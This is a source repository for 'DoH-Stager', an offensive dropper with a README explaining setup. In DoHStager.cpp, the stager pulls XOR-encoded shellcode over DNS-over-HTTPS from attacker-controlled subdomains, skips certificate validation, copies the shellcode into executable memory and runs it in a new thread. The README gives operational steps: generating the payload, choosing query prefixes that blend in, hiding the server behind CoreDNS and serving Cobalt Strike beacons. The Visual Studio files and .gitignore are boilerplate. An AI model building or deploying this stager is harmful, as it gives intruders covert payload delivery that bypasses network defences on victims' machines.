├── DoHStager
    ├── DoHStager.vcxproj.filters
    ├── DoHStager.cpp
    └── DoHStager.vcxproj
├── DoHStager.sln
├── README.md
└── .gitignore


/DoHStager/DoHStager.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="Source Files">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="Header Files">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="Resource Files">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="DoH-C2.cpp">
19 |       <Filter>Source Files</Filter>
20 |     </ClCompile>
21 |   </ItemGroup>
22 |   <ItemGroup>
23 |     <ClInclude Include="json.hpp">
24 |       <Filter>Header Files</Filter>
25 |     </ClInclude>
26 |   </ItemGroup>
27 | </Project>


--------------------------------------------------------------------------------
/DoHStager.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio Version 16
 4 | VisualStudioVersion = 16.0.30907.101
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DoHStager", "DoHStager\DoHStager.vcxproj", "{3C1F9359-6F47-4F66-A12D-16DF14633682}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|x64 = Debug|x64
11 | 		Debug|x86 = Debug|x86
12 | 		Release|x64 = Release|x64
13 | 		Release|x86 = Release|x86
14 | 	EndGlobalSection
15 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Debug|x64.ActiveCfg = Debug|x64
17 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Debug|x64.Build.0 = Debug|x64
18 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Debug|x86.ActiveCfg = Debug|Win32
19 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Debug|x86.Build.0 = Debug|Win32
20 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Release|x64.ActiveCfg = Release|x64
21 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Release|x64.Build.0 = Release|x64
22 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Release|x86.ActiveCfg = Release|Win32
23 | 		{3C1F9359-6F47-4F66-A12D-16DF14633682}.Release|x86.Build.0 = Release|Win32
24 | 	EndGlobalSection
25 | 	GlobalSection(SolutionProperties) = preSolution
26 | 		HideSolutionNode = FALSE
27 | 	EndGlobalSection
28 | 	GlobalSection(ExtensibilityGlobals) = postSolution
29 | 		SolutionGuid = {4DA972C5-E36C-427A-8081-89B2027F6F7C}
30 | 	EndGlobalSection
31 | EndGlobal
32 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # DoH-Stager
 2 | 
 3 | ###### Diahane-Oh-Stager - Common Tuscanian Expression of Disappointment 
 4 | 
 5 | DoH-Stager is an expansion of the awesome [DNSStager](https://github.com/mhaskar/DNSStager) tool made by [@mohammadaskar2](https://twitter.com/mohammadaskar2). DoH-Stager is aimed at providing the same functionalities as the original version, but using DNS-over-HTTPS instead of classic DNS. 
 6 | 
 7 | For those who are not familiar with DNSStager, the project allows the operator to create a number of stagers that will fetch an arbitrary payload via DNS. Despite the PoC is intended to be used with a shellcode, it can adapted to retrieve any content such as encryption keys or other post-exploitation capabilities. 
 8 | 
 9 | This update was necessary in order to operate in environments where DNS resolution was restricted on the host and mostly delegated to the HTTP proxy.
10 | 
11 | ## Usage
12 | 
13 | In order to use DoH-Stager you need to configure the following components:
14 | 
15 | - A custom NS record configured in your DNS provider that points to the host where the DNSStager server was deployed
16 | - A fully functioning DNSStager deployment, as outlined [here](https://github.com/mhaskar/DNSStager#installation).
17 | 
18 | Run the `dnsstager`python script as follows:
19 | 
20 | ```
21 | ./dnsstager.py  --domain p.pacc.tortellozzi.club --payload x64/c/ipv6 --o
22 | utput ~/payload.exe --prefix emperor --sleep 1 --xorkey 0x10 --shellcode_path ~/calc-thread64.bin
23 | ```
24 | 
25 | The arguments:
26 | 
27 | - `--domain p.pacc.tortellozzi.club` is the domain that you want to use for DNSStager
28 | - `--payload x64/c/ipv6`is the type of payload that you want to generate, do not change this.
29 | - `--prefix emperor` the prexif to prepend to all the queries, find a suitable name that will blend in.
30 | - `--xorkey 0x10`the key used to encrypt the shellcode/payload  
31 | - `--shellcode_path ~/calc-thread64.bin` is the shellcode that you want to serve 
32 | 
33 | Take note of the `xorkey` parameter you use, as you will need to manually copy it in the `DoHStager.cpp` file later.
34 | 
35 | You can modify line 18 of the `DoHStager.cpp` file to use other DoH providers, the provided PoC only used Google's DNS:
36 | 
37 | ```
38 |  18 #define DOMAIN              "dns.google.com"
39 | ```
40 | 
41 | You will also need to modify line 189 to specify your custom domain:
42 | 
43 | ```
44 | 189                 sprintf_s(domain, 200, "emperor%i.p.pacc.tortellozzi.club",     i);
45 | ```
46 | 
47 | the above should match with the values that you specified when the `dnsstager` server was launched.
48 | 
49 | Compile the project using Visual Studio (tested with VS2019) and enjoy your dropper! Of course it is missing several features, such as:
50 | 
51 | - Execution guardrails
52 | - OpSec-safe process injection
53 | 
54 | But after all we want to keep a couple of aces in our sleeve and not provide a fully weaponised version available to the public.
55 | 
56 | In addition, if you do not want to expose your DNSStager server directly to the internet, and there are several reasons for not doing it, as outlined in F-Secure's blog [Detecting Exposed Cobalt Strike DNS Redirectors](https://labs.f-secure.com/blog/detecting-exposed-cobalt-strike-dns-redirectors), it is possible to use CoreDNS to provide an additional layer of obfuscation.
57 | 
58 | Using the proposed configuration it will be possible to have a DNS server that will forward DNS queries to all the domain via the Quad9 resolver, whilst forwarding the traffic to the DNSStager server only for the desired zone.
59 | 
60 | The Corefile that can be used is the following:
61 | 
62 | ```
63 | . {
64 | log
65 |   forward . 9.9.9.9
66 | }
67 | 
68 | p.pacc.tortellozzi.club {
69 |         log
70 |         forward . 127.0.0.1:5050
71 | }
72 | ```
73 | 
74 | And the only thing that was changed in the original server's python script was the port where the server will be listening to:
75 | ```
76 | --- a/core/functions.py
77 | +++ b/core/functions.py
78 | @@ -185,8 +185,8 @@ def start_dns_server(ZONES):
79 |      resolver = Resolver(ZONES)
80 | 
81 |      try:
82 | -        server = DNSServer(resolver, port=53, address="0.0.0.0", tcp=False)
83 | -        print_success("Server started!")
84 | +        server = DNSServer(resolver, port=5050, address="0.0.0.0", tcp=False)
85 | +        print_success("Server started on port 5050!")
86 |          server.start()
87 | ```
88 | 
89 | ## Other Notes
90 | 
91 | * This tool is not great in terms of performance. In fact, to download a fully stageless Cobalt Strike beacon might take approximately one hour whilst genertaing a lot of traffic. Use at your own risk.
92 | * Don't expect a clean code, this is a PoC that was quickly put together using several snippets and stuff like that. If you don't like it, don't use it, I could not care less.
93 | 


--------------------------------------------------------------------------------
/DoHStager/DoHStager.cpp:
--------------------------------------------------------------------------------
  1 | #ifndef WIN32_LEAN_AND_MEAN
  2 | #define WIN32_LEAN_AND_MEAN
  3 | #endif
  4 | 
  5 | #include <Windows.h>
  6 | #include <WinInet.h>
  7 | #include <stdio.h>
  8 | #include <iostream>
  9 | #include <iostream>
 10 | #include <winsock2.h>
 11 | #include <ws2tcpip.h>
 12 | #include <nlohmann/json.hpp>
 13 | 
 14 | #pragma comment(lib, "Wininet.lib")
 15 | #pragma comment(lib, "Ws2_32.lib")
 16 | 
 17 | #define HTTP_USER_AGENT     "Microsoft-Symbol-Server/10.1710.0.0"
 18 | #define DOMAIN              "dns.google.com"
 19 | #define HTTP_POST_PAGE       "/resolve?name=test.com"
 20 | #define CALLBACK_PORT       443
 21 | 
 22 | HINTERNET hConnection;
 23 | 
 24 | using json = nlohmann::json;
 25 | 
 26 | typedef LONG (NTAPI* pRtlIpv6StringToAddressA)(
 27 | 	  PCSTR    S,
 28 | 	 PCSTR* Terminator,
 29 | 	 in6_addr* Addr
 30 | 	);
 31 | 
 32 | 
 33 | HINTERNET PrepareCallback()
 34 | {
 35 | 	DWORD timeout = 15;
 36 | 	LPCSTR HTTP_UserAgent = HTTP_USER_AGENT;
 37 | 	LPCSTR domain = DOMAIN;
 38 | 	DWORD CallbackPort = CALLBACK_PORT;
 39 | 	HINTERNET hConnection = NULL;
 40 | 
 41 | 	//if (!InternetSetOptionA(NULL, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout)));
 42 | 	//return NULL;
 43 | 
 44 | 	HANDLE hInternet = InternetOpenA(HTTP_UserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
 45 | 
 46 | 	if (!hInternet || hInternet == INVALID_HANDLE_VALUE)
 47 | 		return NULL;
 48 | 
 49 | 	hConnection = InternetConnectA(hInternet, domain, CallbackPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
 50 | 
 51 | 	if (!hConnection || hConnection == INVALID_HANDLE_VALUE)
 52 | 		return NULL;
 53 | 
 54 | 	return hConnection;
 55 | }
 56 | 
 57 | json ResolveViaDoH(HINTERNET hConnection, LPSTR data)
 58 | {
 59 | 	HINTERNET hRequest;
 60 | 	DWORD reqFlags = 0;
 61 | 	DWORD dwBuffLen = sizeof(reqFlags);
 62 | 
 63 | 	DWORD sizeOfURL = strlen(HTTP_POST_PAGE) * 2 + strlen(data) + 1;
 64 | 	LPSTR url = (LPSTR)malloc(sizeOfURL);
 65 | 	sprintf_s(url, sizeOfURL, "/resolve?name=%s&type=aaaa", data);
 66 | 
 67 | 	DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE;
 68 | 	hRequest = HttpOpenRequestA(hConnection, "GET", url, NULL, NULL, NULL, flags, 0);
 69 | 
 70 | 	if (hRequest == INVALID_HANDLE_VALUE)
 71 | 		return FALSE;
 72 | 
 73 | 	InternetQueryOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&reqFlags, &dwBuffLen);
 74 | 	reqFlags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION;
 75 | 	InternetSetOption(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &reqFlags, sizeof(reqFlags));
 76 | 
 77 | 	if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0))
 78 | 	{
 79 | 		printf("HttpSendRequest error : (%lu)\n", GetLastError());
 80 | 		return FALSE;
 81 | 	}
 82 | 
 83 | 	DWORD dwContentLen = 10000;
 84 | 	char* pData = (char*)GlobalAlloc(GMEM_FIXED, dwContentLen + 1);
 85 | 
 86 | 	DWORD dwBufLen = sizeof(dwContentLen);
 87 | 	if(true)
 88 | 	//if (HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwContentLen, &dwBufLen, 0))
 89 | 	{
 90 | 		DWORD dwReadSize = 200;   // We will read 10% of data
 91 | 											// with each read.
 92 | 
 93 | 		DWORD cReadCount;
 94 | 		DWORD dwBytesRead;
 95 | 		DWORD lastGoodByte = 0;
 96 | 		char* pCopyPtr = pData;
 97 | 		for (cReadCount = 0; cReadCount < 10; cReadCount++)
 98 | 		{
 99 | 			bool res = InternetReadFile(hRequest, pCopyPtr, dwReadSize, &dwBytesRead);
100 | 			pCopyPtr = pCopyPtr + dwBytesRead;
101 | 			if (dwBytesRead == 0)
102 | 				break;
103 | 			else
104 | 				lastGoodByte += dwBytesRead;
105 | 		}		
106 | 		// Null terminate data
107 | 		pData[lastGoodByte] = 0;
108 | 
109 | 		
110 | 	}
111 | 	json j = json::parse(pData);
112 | 
113 | 	InternetCloseHandle(hRequest);
114 | 
115 | 	return j;
116 | 
117 | }
118 | 
119 | 
120 | void hexdump(void* ptr, int buflen) {
121 | 	unsigned char* buf = (unsigned char*)ptr;
122 | 	int i, j;
123 | 	for (i = 0; i < buflen; i += 16) {
124 | 		printf("%06x: ", i);
125 | 		for (j = 0; j < 16; j++)
126 | 			if (i + j < buflen)
127 | 				printf("%02x ", buf[i + j]);
128 | 			else
129 | 				printf("   ");
130 | 		printf(" ");
131 | 		for (j = 0; j < 16; j++)
132 | 			if (i + j < buflen)
133 | 				printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
134 | 		printf("\n");
135 | 	}
136 | }
137 | 
138 | BOOL ResolveDNSHostname(char* hostname, LPVOID ret)
139 | {
140 | 
141 | 	if (hConnection == NULL)
142 | 	{
143 | 		return FALSE;
144 | 	}
145 | 
146 | 	json result = ResolveViaDoH(hConnection, (LPSTR)hostname);
147 | 
148 | 	if (result.contains("Answer"))
149 | 	{
150 | 		// not so pretty way of converting std::string to a char array
151 | 		std::string answer = result["Answer"][0]["data"].get<std::string>();
152 | 		int len = answer.size();
153 | 		char* c = new char[len + 1];
154 | 		std::copy(answer.begin(), answer.end(), c);
155 | 		c[len] = '\0';
156 | 
157 | 		in6_addr Ipv6address;
158 | 		PCSTR out;
159 | 
160 | 		pRtlIpv6StringToAddressA RtlIpv6StringToAddressA = (pRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlIpv6StringToAddressA");
161 | 
162 | 		RtlIpv6StringToAddressA(c, &out, &Ipv6address);
163 | 
164 | 
165 | 		memcpy(ret, Ipv6address.u.Word, sizeof(Ipv6address.u.Word));
166 | 		return TRUE;
167 | 	}
168 | 	else {
169 | 		// answer not found
170 | 		return FALSE;
171 | 	}
172 | }
173 | 
174 | int main()
175 | {
176 | 	char* domain = (char*)malloc(200);
177 | 	int i = 0;
178 | 	int z;
179 | 	z = 0;
180 | 	char xorKey = 0x10;
181 | 
182 | 	LPVOID allbuffer2 = VirtualAlloc(NULL, 0x4000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
183 | 	void* initialCode = allbuffer2;
184 | 
185 | 	hConnection = PrepareCallback();
186 | 
187 | 	while (true)
188 | 	{
189 | 		sprintf_s(domain, 200, "emperor%i.p.pacc.tortellozzi.club", i);
190 | 		LPVOID result = malloc(16);
191 | 		//memset(result, 0, 16);
192 | 
193 | 		// resolve the domain via DoH
194 | 		bool wasResolved = ResolveDNSHostname(domain, result);
195 | 
196 | 		if (!wasResolved)
197 | 			break;
198 | 		//hexdump(result, 16);
199 | 		// Write the shellcode bytes from Ipv6Address to the memory
200 | 	
201 | 		int x;
202 | 
203 | 		for (x = 0; x < 16; x++) {
204 | 
205 | 			// Copy each byte from shellcode to TempByte after decoding it
206 | 			// In case there is no XOR encoding it will XOR to 0x00 which
207 | 			char TempByte = *((char*)result + x)^ xorKey;
208 | 
209 | 			// Copy the shellcode chunck to the previously allocated space.
210 | 			memcpy((char*)allbuffer2 + z, &TempByte, 1);
211 | 
212 | 			// Make sure to append to the next memory address inside the allocated space.
213 | 			z++;
214 | 
215 | 		}
216 | 
217 | 		free(result);
218 | 
219 | 		// sleep 
220 | 		Sleep(100);
221 | 		i++;
222 | 	}
223 | 	
224 | 	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allbuffer2, NULL, 0, NULL);
225 | 	WaitForSingleObject(hThread, INFINITE);
226 | }


--------------------------------------------------------------------------------
/DoHStager/DoHStager.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>16.0</VCProjectVersion>
 23 |     <Keyword>Win32Proj</Keyword>
 24 |     <ProjectGuid>{3c1f9359-6f47-4f66-a12d-16df14633682}</ProjectGuid>
 25 |     <RootNamespace>DoHC2</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
 27 |   </PropertyGroup>
 28 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 29 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 30 |     <ConfigurationType>Application</ConfigurationType>
 31 |     <UseDebugLibraries>true</UseDebugLibraries>
 32 |     <PlatformToolset>v142</PlatformToolset>
 33 |     <CharacterSet>Unicode</CharacterSet>
 34 |   </PropertyGroup>
 35 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 36 |     <ConfigurationType>Application</ConfigurationType>
 37 |     <UseDebugLibraries>false</UseDebugLibraries>
 38 |     <PlatformToolset>v142</PlatformToolset>
 39 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 40 |     <CharacterSet>Unicode</CharacterSet>
 41 |   </PropertyGroup>
 42 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 43 |     <ConfigurationType>Application</ConfigurationType>
 44 |     <UseDebugLibraries>true</UseDebugLibraries>
 45 |     <PlatformToolset>v142</PlatformToolset>
 46 |     <CharacterSet>Unicode</CharacterSet>
 47 |   </PropertyGroup>
 48 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 49 |     <ConfigurationType>Application</ConfigurationType>
 50 |     <UseDebugLibraries>false</UseDebugLibraries>
 51 |     <PlatformToolset>v142</PlatformToolset>
 52 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 53 |     <CharacterSet>Unicode</CharacterSet>
 54 |   </PropertyGroup>
 55 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 56 |   <ImportGroup Label="ExtensionSettings">
 57 |   </ImportGroup>
 58 |   <ImportGroup Label="Shared">
 59 |   </ImportGroup>
 60 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 61 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 62 |   </ImportGroup>
 63 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 64 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 65 |   </ImportGroup>
 66 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 67 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 68 |   </ImportGroup>
 69 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 70 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 71 |   </ImportGroup>
 72 |   <PropertyGroup Label="UserMacros" />
 73 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 74 |     <LinkIncremental>true</LinkIncremental>
 75 |   </PropertyGroup>
 76 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 77 |     <LinkIncremental>false</LinkIncremental>
 78 |   </PropertyGroup>
 79 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 80 |     <LinkIncremental>true</LinkIncremental>
 81 |   </PropertyGroup>
 82 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 83 |     <LinkIncremental>false</LinkIncremental>
 84 |   </PropertyGroup>
 85 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 86 |     <ClCompile>
 87 |       <WarningLevel>Level3</WarningLevel>
 88 |       <SDLCheck>true</SDLCheck>
 89 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 90 |       <ConformanceMode>true</ConformanceMode>
 91 |     </ClCompile>
 92 |     <Link>
 93 |       <SubSystem>Console</SubSystem>
 94 |       <GenerateDebugInformation>true</GenerateDebugInformation>
 95 |     </Link>
 96 |   </ItemDefinitionGroup>
 97 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 98 |     <ClCompile>
 99 |       <WarningLevel>Level3</WarningLevel>
100 |       <FunctionLevelLinking>true</FunctionLevelLinking>
101 |       <IntrinsicFunctions>true</IntrinsicFunctions>
102 |       <SDLCheck>true</SDLCheck>
103 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104 |       <ConformanceMode>true</ConformanceMode>
105 |     </ClCompile>
106 |     <Link>
107 |       <SubSystem>Console</SubSystem>
108 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
109 |       <OptimizeReferences>true</OptimizeReferences>
110 |       <GenerateDebugInformation>true</GenerateDebugInformation>
111 |     </Link>
112 |   </ItemDefinitionGroup>
113 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114 |     <ClCompile>
115 |       <WarningLevel>Level3</WarningLevel>
116 |       <SDLCheck>true</SDLCheck>
117 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118 |       <ConformanceMode>true</ConformanceMode>
119 |     </ClCompile>
120 |     <Link>
121 |       <SubSystem>Console</SubSystem>
122 |       <GenerateDebugInformation>true</GenerateDebugInformation>
123 |     </Link>
124 |   </ItemDefinitionGroup>
125 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126 |     <ClCompile>
127 |       <WarningLevel>Level3</WarningLevel>
128 |       <FunctionLevelLinking>true</FunctionLevelLinking>
129 |       <IntrinsicFunctions>true</IntrinsicFunctions>
130 |       <SDLCheck>true</SDLCheck>
131 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
132 |       <ConformanceMode>true</ConformanceMode>
133 |     </ClCompile>
134 |     <Link>
135 |       <SubSystem>Console</SubSystem>
136 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
137 |       <OptimizeReferences>true</OptimizeReferences>
138 |       <GenerateDebugInformation>true</GenerateDebugInformation>
139 |     </Link>
140 |   </ItemDefinitionGroup>
141 |   <ItemGroup>
142 |     <ClCompile Include="DoHStager.cpp" />
143 |   </ItemGroup>
144 |   <ItemGroup>
145 |     <ClInclude Include="json.hpp" />
146 |   </ItemGroup>
147 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
148 |   <ImportGroup Label="ExtensionTargets">
149 |   </ImportGroup>
150 | </Project>


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
  1 | 
  2 | # Created by https://www.toptal.com/developers/gitignore/api/visualstudio,c++
  3 | # Edit at https://www.toptal.com/developers/gitignore?templates=visualstudio,c++
  4 | 
  5 | ### C++ ###
  6 | # Prerequisites
  7 | *.d
  8 | 
  9 | # Compiled Object files
 10 | *.slo
 11 | *.lo
 12 | *.o
 13 | *.obj
 14 | 
 15 | # Precompiled Headers
 16 | *.gch
 17 | *.pch
 18 | 
 19 | # Compiled Dynamic libraries
 20 | *.so
 21 | *.dylib
 22 | *.dll
 23 | 
 24 | # Fortran module files
 25 | *.mod
 26 | *.smod
 27 | 
 28 | # Compiled Static libraries
 29 | *.lai
 30 | *.la
 31 | *.a
 32 | *.lib
 33 | 
 34 | # Executables
 35 | *.exe
 36 | *.out
 37 | *.app
 38 | 
 39 | ### VisualStudio ###
 40 | ## Ignore Visual Studio temporary files, build results, and
 41 | ## files generated by popular Visual Studio add-ons.
 42 | ##
 43 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
 44 | 
 45 | # User-specific files
 46 | *.rsuser
 47 | *.suo
 48 | *.user
 49 | *.userosscache
 50 | *.sln.docstates
 51 | 
 52 | # User-specific files (MonoDevelop/Xamarin Studio)
 53 | *.userprefs
 54 | 
 55 | # Mono auto generated files
 56 | mono_crash.*
 57 | 
 58 | # Build results
 59 | [Dd]ebug/
 60 | [Dd]ebugPublic/
 61 | [Rr]elease/
 62 | [Rr]eleases/
 63 | x64/
 64 | x86/
 65 | [Ww][Ii][Nn]32/
 66 | [Aa][Rr][Mm]/
 67 | [Aa][Rr][Mm]64/
 68 | bld/
 69 | [Bb]in/
 70 | [Oo]bj/
 71 | [Ll]og/
 72 | [Ll]ogs/
 73 | 
 74 | # Visual Studio 2015/2017 cache/options directory
 75 | .vs/
 76 | # Uncomment if you have tasks that create the project's static files in wwwroot
 77 | #wwwroot/
 78 | 
 79 | # Visual Studio 2017 auto generated files
 80 | Generated\ Files/
 81 | 
 82 | # MSTest test Results
 83 | [Tt]est[Rr]esult*/
 84 | [Bb]uild[Ll]og.*
 85 | 
 86 | # NUnit
 87 | *.VisualState.xml
 88 | TestResult.xml
 89 | nunit-*.xml
 90 | 
 91 | # Build Results of an ATL Project
 92 | [Dd]ebugPS/
 93 | [Rr]eleasePS/
 94 | dlldata.c
 95 | 
 96 | # Benchmark Results
 97 | BenchmarkDotNet.Artifacts/
 98 | 
 99 | # .NET Core
100 | project.lock.json
101 | project.fragment.lock.json
102 | artifacts/
103 | 
104 | # ASP.NET Scaffolding
105 | ScaffoldingReadMe.txt
106 | 
107 | # StyleCop
108 | StyleCopReport.xml
109 | 
110 | # Files built by Visual Studio
111 | *_i.c
112 | *_p.c
113 | *_h.h
114 | *.ilk
115 | *.meta
116 | *.iobj
117 | *.pdb
118 | *.ipdb
119 | *.pgc
120 | *.pgd
121 | *.rsp
122 | *.sbr
123 | *.tlb
124 | *.tli
125 | *.tlh
126 | *.tmp
127 | *.tmp_proj
128 | *_wpftmp.csproj
129 | *.log
130 | *.tlog
131 | *.vspscc
132 | *.vssscc
133 | .builds
134 | *.pidb
135 | *.svclog
136 | *.scc
137 | 
138 | # Chutzpah Test files
139 | _Chutzpah*
140 | 
141 | # Visual C++ cache files
142 | ipch/
143 | *.aps
144 | *.ncb
145 | *.opendb
146 | *.opensdf
147 | *.sdf
148 | *.cachefile
149 | *.VC.db
150 | *.VC.VC.opendb
151 | 
152 | # Visual Studio profiler
153 | *.psess
154 | *.vsp
155 | *.vspx
156 | *.sap
157 | 
158 | # Visual Studio Trace Files
159 | *.e2e
160 | 
161 | # TFS 2012 Local Workspace
162 | $tf/
163 | 
164 | # Guidance Automation Toolkit
165 | *.gpState
166 | 
167 | # ReSharper is a .NET coding add-in
168 | _ReSharper*/
169 | *.[Rr]e[Ss]harper
170 | *.DotSettings.user
171 | 
172 | # TeamCity is a build add-in
173 | _TeamCity*
174 | 
175 | # DotCover is a Code Coverage Tool
176 | *.dotCover
177 | 
178 | # AxoCover is a Code Coverage Tool
179 | .axoCover/*
180 | !.axoCover/settings.json
181 | 
182 | # Coverlet is a free, cross platform Code Coverage Tool
183 | coverage*.json
184 | coverage*.xml
185 | coverage*.info
186 | 
187 | # Visual Studio code coverage results
188 | *.coverage
189 | *.coveragexml
190 | 
191 | # NCrunch
192 | _NCrunch_*
193 | .*crunch*.local.xml
194 | nCrunchTemp_*
195 | 
196 | # MightyMoose
197 | *.mm.*
198 | AutoTest.Net/
199 | 
200 | # Web workbench (sass)
201 | .sass-cache/
202 | 
203 | # Installshield output folder
204 | [Ee]xpress/
205 | 
206 | # DocProject is a documentation generator add-in
207 | DocProject/buildhelp/
208 | DocProject/Help/*.HxT
209 | DocProject/Help/*.HxC
210 | DocProject/Help/*.hhc
211 | DocProject/Help/*.hhk
212 | DocProject/Help/*.hhp
213 | DocProject/Help/Html2
214 | DocProject/Help/html
215 | 
216 | # Click-Once directory
217 | publish/
218 | 
219 | # Publish Web Output
